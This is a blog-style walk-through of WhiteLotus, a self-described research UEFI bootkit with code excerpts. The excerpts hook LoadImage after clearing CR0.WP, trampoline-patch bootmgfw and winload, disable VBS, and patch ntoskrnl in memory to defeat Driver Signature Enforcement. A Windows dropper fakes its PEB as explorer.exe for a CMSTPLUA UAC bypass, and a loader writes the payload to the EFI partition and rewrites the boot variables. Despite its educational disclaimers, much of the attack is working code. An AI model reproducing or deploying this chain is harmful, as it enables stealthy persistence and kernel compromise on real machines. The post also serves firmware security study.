WhiteLotus: Walking Through a UEFI Bootkit
A firmware research walk-through of WhiteLotus, a UEFI boot-chain project that follows bootmgfw, winload, and ntoskrnl before Windows fully starts.
WhiteLotus was built as a proof-of-concept directly tied to the LabConfig analysis published in A Journey Into setup.exe — LabConfig and Windows 11 Security. It demonstrates the practical attack surface that exists on systems installed through the LabConfig bypass: once Secure Boot is absent and the boot chain offers no resistance, the capabilities shown here become available to any attacker who can write to the EFI System Partition.
This post is written strictly for firmware security research and defensive understanding. WhiteLotus is a boot-chain research project; it touches the EFI System Partition, modifies UEFI boot variables such as BootOrder and BootNext, uses a Windows-side loader flow that involves privilege escalation/UAC bypass behavior, and patches boot-time Windows components to affect VBS/DSE and Code Integrity paths.
Since it runs smoothly on systems without Secure Boot, please use it only in controlled environments. As the project’s developer, I have never accepted responsibility for its use in real-world scenarios, nor do I ever recommend it; these projects are intended solely for educational purposes, and the responsibility lies entirely with you.
Introduction
Do you know BlackLotus?
Well, BlackLotus is my favorite bootkit, and in my opinion, BlackLotus was truly unique not because of the security vulnerability it exploited, but because of its chain. It was one of those projects that made people remember a very annoying truth again: the operating system is not the first thing that owns the machine. Before Windows starts breathing, there is already a whole boot world running under it.
WhiteLotus got its name from there. Not because I wanted to make “the same thing but cooler.” The idea was more like: okay, BlackLotus showed how serious this class of attack can be, so let’s build a research-oriented project where I can understand the boot chain with my own hands. BlackLotus was bypassing Secure Boot, while WhiteLotus runs on systems without Secure Boot — that difference is basically what the name represents.
I separated the project into two parts because the firmware logic and the Windows deployment logic solve different problems:
- WhiteLotusDXE: the UEFI DXE driver that hooks the boot chain and performs the actual patching logic.
- WhiteLotusEXE: the Windows-side deployment component that places the EFI payload into the EFI System Partition and prepares the next boot.
Here’s the repo for the WhiteLotus: Github Repo You can also watch the WhiteLotus demonstration on the vimeo.
Walking Into the Boot Chain
Before going into the code, we need to place WhiteLotus on the map. In a normal UEFI Windows boot, the firmware loads the Windows Boot Manager, then bootmgfw.efi loads the OS loader, and winload.efi prepares the kernel, boot drivers, and loader block before the first kernel instructions run.
The first design question was: where should I stand in this chain? I could try to touch Windows after it boots, but then I would be fighting PatchGuard, Code Integrity, kernel callbacks, EDR logic, and all the normal runtime protections. WhiteLotus stands earlier. It inserts itself before bootmgfw.efi runs and follows the chain from the inside.
This is why bootkits are uncomfortable to analyze. They do not need to fight the running kernel directly. They wait for the kernel to be present in memory, but not fully alive yet. It is like editing a creature before it wakes up.
The First Hook
The main entry point is WhiteLotusEntryPoint(). The first operation is replacing LoadImage() in the UEFI Boot Services table — every time firmware loads a new EFI image, WhiteLotus gets a callback. I picked LoadImage() specifically to avoid hardcoding the moment bootmgfw.efi appears; with this hook, WhiteLotus just watches every image passing through the door.
Before writing into the service table, the hook installation raises TPL and clears CR0.WP:
CONST EFI_TPL Tpl = gBS->RaiseTPL(TPL_HIGH_LEVEL);
CONST UINTN Cr0 = AsmReadCr0();
CONST BOOLEAN WpSet = (Cr0 & CR0_WP) != 0;
if (WpSet) {
AsmWriteCr0(Cr0 & ~CR0_WP);
}
CR0.WP is the Write Protect bit. When set, supervisor-mode code cannot write to read-only pages either. Clearing it opens a small write window. After the pointer is replaced, WhiteLotus recalculates the UEFI table’s CRC — UEFI tables carry checksums in their headers, and leaving a stale CRC after a patch tends to make the firmware ecosystem noisy very quickly.
WhiteLotus also hooks SetVariable() from Runtime Services as a second layer of control, giving it the ability to observe or block NVRAM writes later in the boot lifetime.
To find bootmgfw.efi, the driver scans all mounted SimpleFileSystem volumes looking for \EFI\Microsoft\Boot\bootmgfw.efi — rather than assuming a specific device path, which varies across hardware. Once found, it loads and starts the image manually.
Recognizing the Right Image
Once an image is loaded, WhiteLotus needs to know what it is before touching anything. The classification logic lives in PE.c using GetInputFileType():
I liked the OSLOADER.XSL check specifically — instead of trusting filenames (which are not always reliable in boot memory), the loaded image announces itself through its own resource data.
A bootkit that patches the wrong image is not a bootkit anymore. It is just a very expensive crash generator.
The Trampoline
When bootmgfw.efi is detected, PatchBootMgfw() finds ImgArchStartBootApplication by byte signature, walks back to the function start, and overwrites the beginning with a compact absolute jump:
CONST UINT8 gHookTemplate[] =
{
0x48, 0xB8, // mov rax, <imm64>
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x50, // push rax
0xC3 // ret
};
In x64 terms:
mov rax, HookAddress
push rax
ret
The original bytes are saved before patching, and the hook restores them before calling through to the real function — so from bootmgfw.efi’s perspective the call just passes through after WhiteLotus has done what it needs:
CopyMem(BackupAddress, (VOID*)OriginalAddress, sizeof(gHookTemplate));
CopyWpMem((VOID*)OriginalAddress, gHookTemplate, sizeof(gHookTemplate));
CopyWpMem(
(UINT8*)OriginalAddress + gHookTemplateAddressOffset,
(UINTN*)&HookAddress,
sizeof(UINTN)
);
The same trampoline pattern repeats at every hook point in the chain.
Inside winload.efi
winload.efi is where things get more interesting. The hook targets OslFwpKernelSetupPhase1() — found by scanning the .text section with a byte signature and patched with the same trampoline. The reason I chose this function specifically is its argument:
EFI_STATUS EFIAPI HookedOslFwpKernelSetupPhase1(
IN PLOADER_PARAMETER_BLOCK LoaderBlock
)
LOADER_PARAMETER_BLOCK is the loader’s view of the entire boot world at this point. It contains the loaded module list, which means I don’t have to scan memory hoping to find the right image — the loader already has the list. WhiteLotus uses LoadOrderListHead to walk it:
CONST PKLDR_DATA_TABLE_ENTRY KernelEntry =
GetBootLoadedModule(
(LIST_ENTRY*)LoadOrderListHeadAddress,
L"ntoskrnl.exe"
);
The fields we care about:
Once the kernel entry is found, the project has the load base and image size — enough to scan sections and imports directly in memory. This is the central moment of WhiteLotus: it does not touch any file on disk. It patches the loaded kernel image in memory, before the kernel begins its own initialization.
Before the patching stage, WhiteLotus also sets the VbsPolicyDisabled EFI variable:
Status = gRT->SetVariable(
(CHAR16*)VbsPolicyDisabledVariableName,
(EFI_GUID*)&MicrosoftVendorGuid,
EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS,
sizeof(Disabled),
(BOOLEAN*)&Disabled
);
VBS changes the trust boundaries around Code Integrity. If the system boots with VBS-based protections active, the “patch the kernel in memory and continue” model becomes unreliable. So WhiteLotus tries to shape the environment before trying to bend it.
Touching ntoskrnl.exe Before It Wakes Up
The kernel patching logic lives in PatchKernel.c. The target is Driver Signature Enforcement — normally, Windows doesn’t allow unsigned kernel-mode drivers to load. I wanted to keep the patches small and readable. If I can’t explain exactly why a byte is changed, I probably shouldn’t change it.
The discovery process:
The first patch is two bytes:
UINT8 XorEcxPatch[] = { 0x33, 0xC9 }; // xor ecx, ecx
CopyWpMem((VOID*)SepInitializeMovEcxAddress, XorEcxPatch, sizeof(XorEcxPatch));
The second patch replaces the failure status immediate with zero:
UINT32 Zero = 0;
CopyWpMem((VOID*)(SeValidateImageDataMovEaxAddress + 1), &Zero, sizeof(Zero));
That’s it. Two small patches, both applied after the kernel image is loaded and before the kernel begins its own initialization. The timing is the whole trick — by the time PatchGuard and Code Integrity have anything to say about it, the bytes are already changed and the kernel is running.
The Windows-Side Loader
The DXE side is the main research component, but WhiteLotus also contains a Windows-side deployment path under WhiteLotusEXE.
- Dropper: decrypts the embedded
LoadEfipayload and launches it at HIGH integrity level without a UAC prompt. - LoadEfi: locates the EFI System Partition, writes the EFI payload, and creates a boot entry.
Dropper and the UAC Bypass
Before the Dropper can do anything useful, it has a problem: LoadEfi needs SeSystemEnvironmentPrivilege to write UEFI variables. That requires an elevated process — but showing a UAC prompt defeats the point.
The technique is the ICMLuaUtil method — an abuse of the CMSTPLUA COM object that launches arbitrary binaries at HIGH integrity level without any UAC prompt. The trick works because CMSTPLUA is an auto-elevating COM component that Windows trusts when the caller appears to be a trusted host process.
That is why the Dropper first masquerades its PEB as explorer.exe. The masquerade modifies two places:
// Step 1: ProcessParameters — what the process reports as its own path
g_RtlInitUS(&Peb->ProcessParameters->ImagePathName, g_ExplorerPath);
g_RtlInitUS(&Peb->ProcessParameters->CommandLine, L"explorer.exe");
// Step 2: LDR_DATA_TABLE_ENTRY — what the loaded module list reports
g_RtlInitUS(&DataTableEntry->FullDllName, g_ExplorerPath);
g_RtlInitUS(&DataTableEntry->BaseDllName, L"explorer.exe");
With both ProcessParameters and the LDR entry pointing to explorer.exe, the process looks like a trusted host from every angle COM’s security infrastructure checks.
After the masquerade, the Dropper uses the elevation moniker to obtain a CMSTPLUA interface:
static HRESULT AllocateElevatedObject(LPCWSTR lpObjectCLSID, REFIID riid, void** ppv) {
WCHAR szMoniker[MAX_PATH];
BIND_OPTS3 bop;
ZeroMemory(&bop, sizeof(bop));
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_LOCAL_SERVER;
lstrcpyW(szMoniker, ELEVATION_MONIKER); // "Elevation:Administrator!new:"
lstrcatW(szMoniker, lpObjectCLSID); // CMSTPLUA CLSID
return CoGetObject(szMoniker, (BIND_OPTS*)&bop, riid, ppv);
}
"Elevation:Administrator!new:{CLSID}" tells COM to instantiate the object at administrator level. For CMSTPLUA, this happens without any dialog because the PEB reports explorer.exe and COM’s check passes. Once ICMLuaUtil is in hand, the masquerade is restored and ShellExec launches the target:
hr = AllocateElevatedObject(szCLSID, &IID_ICMLuaUtil, (void**)&pUtil);
RestoreMasquerade(); // real PEB restored — the object is already in hand
hr = pUtil->lpVtbl->ShellExec(pUtil, lpszExecutable, NULL, NULL, 0, 1);
The masquerade only needs to survive long enough to satisfy the COM object creation check.
LoadEfi — Installing to the EFI System Partition
LoadEfi starts by enabling SeSystemEnvironmentPrivilege — required to read or write firmware environment variables like BootOrder, BootNext, and Boot000X. Without crossing that boundary first, none of the UEFI variable operations would be allowed.
Then it checks Secure Boot. This is the gate that matters for the whole project — WhiteLotus is explicitly designed for a Secure Boot disabled research environment, which is the entire premise of the analysis in the related MSRC post.
To find the EFI System Partition, LoadEfi enumerates volumes, maps each to its disk extent, reads the GPT layout, and looks for the ESP partition type GUID — rather than assuming a drive letter, since the ESP often has no letter at all. After finding it, the encrypted EFI payload is decrypted and written to \EFI\CUSTOM\loader.efi with FILE_FLAG_WRITE_THROUGH and an explicit FlushFileBuffers() call. In boot work, not actually flushing the file to disk before reboot means the next boot may not see what you think you wrote.
After the file is in place:
// Write the new boot entry as Boot0009
SetFirmwareEnvironmentVariableExW(
TARGET_BOOT_VAR,
L"{8be4df61-93ca-11d2-aa0d-00e098032b8c}",
LoadOpt, LoadOptSize, TARGET_ATTRIBUTES
);
// Set BootNext so the next single reboot uses it
WORD BootNext = (WORD)TARGET_BOOT_INDEX;
SetFirmwareEnvironmentVariableExW(
L"BootNext",
L"{8be4df61-93ca-11d2-aa0d-00e098032b8c}",
&BootNext, sizeof(WORD), TARGET_ATTRIBUTES
);
Then BootOrder is updated to prepend the new entry.
This is where the project becomes a full boot-chain experiment rather than just a DXE driver sitting in a folder. I wanted the reboot itself to carry execution into the DXE payload, because that is closer to the real boot-chain problem than manually launching random EFI files from a shell.
Conclusion
WhiteLotus is a nice example of why firmware research feels different from normal userland or kernel work. The interesting part is not only the final DSE patch. The interesting part is the route: entering through DXE, watching LoadImage(), recognizing bootmgfw.efi, catching winload.efi, walking the loader block, and finally touching ntoskrnl.exe before it starts breathing :>